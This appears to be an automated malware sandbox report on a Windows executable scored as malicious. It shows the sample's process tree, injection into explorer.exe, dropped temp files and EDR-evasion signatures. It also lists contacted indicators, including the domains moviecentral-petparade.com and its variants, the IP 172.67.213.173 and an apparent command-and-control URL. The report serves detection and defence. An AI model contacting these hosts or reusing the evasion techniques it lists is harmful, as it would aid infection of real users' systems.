  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546122 Sample: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 43 moviecentral-petparade.com 2->43 45 moviecentral-petparade3.com 2->45 47 moviecentral-petparade2.com 2->47 61 Suricata IDS alerts for network traffic 2->61 63 Multi AV Scanner detection for submitted file 2->63 65 Contains functionality to start a terminal service 2->65 67 2 other signatures 2->67 8 BGUO31BLG4WQAOX9MA4VF71OJ1M.exe 8 2->8         started        11 QTAgent_40.exe 8 2->11         started        13 QTAgent_40.exe 8 2->13         started        signatures3 process4 signatures5 69 Maps a DLL or memory area into another process 8->69 71 Switches to a custom stack to bypass stack traces 8->71 73 Found direct / indirect Syscall (likely to bypass EDR) 8->73 15 comp.exe 4 8->15         started        19 comp.exe 2 11->19         started        21 comp.exe 2 13->21         started        process6 file7 37 C:\Users\user\AppData\Local\Temp\djivmxg, PE32 15->37 dropped 51 Contains functionality to start a terminal service 15->51 53 Injects code into the Windows Explorer (explorer.exe) 15->53 55 Writes to foreign memory regions 15->55 59 2 other signatures 15->59 23 explorer.exe 12 15->23         started        27 conhost.exe 15->27         started        39 C:\Users\user\AppData\Local\Temp\cckrnaa, PE32 19->39 dropped 57 Maps a DLL or memory area into another process 19->57 29 explorer.exe 19->29         started        31 conhost.exe 19->31         started        41 C:\Users\user\AppData\Local\...\pbxllkvlhugf, PE32 21->41 dropped 33 explorer.exe 21->33         started        35 conhost.exe 21->35         started        signatures8 process9 dnsIp10 49 moviecentral-petparade.com 172.67.213.173, 49903, 49916, 49930 CLOUDFLARENETUS United States 23->49 75 System process connects to network (likely due to code injection or exploit) 23->75 77 Contains functionality to start a terminal service 23->77 79 Contains functionality to inject code into remote processes 23->79 81 Switches to a custom stack to bypass stack traces 23->81 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.213.173
 moviecentral-petparade.com United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
moviecentral-petparade.com 172.67.213.173 true
s-part-0017.t-0009.t-msedge.net 13.107.246.45 true
moviecentral-petparade2.com unknown unknown
moviecentral-petparade3.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://moviecentral-petparade.com/g9jvjfd73/index.php true
    		unknown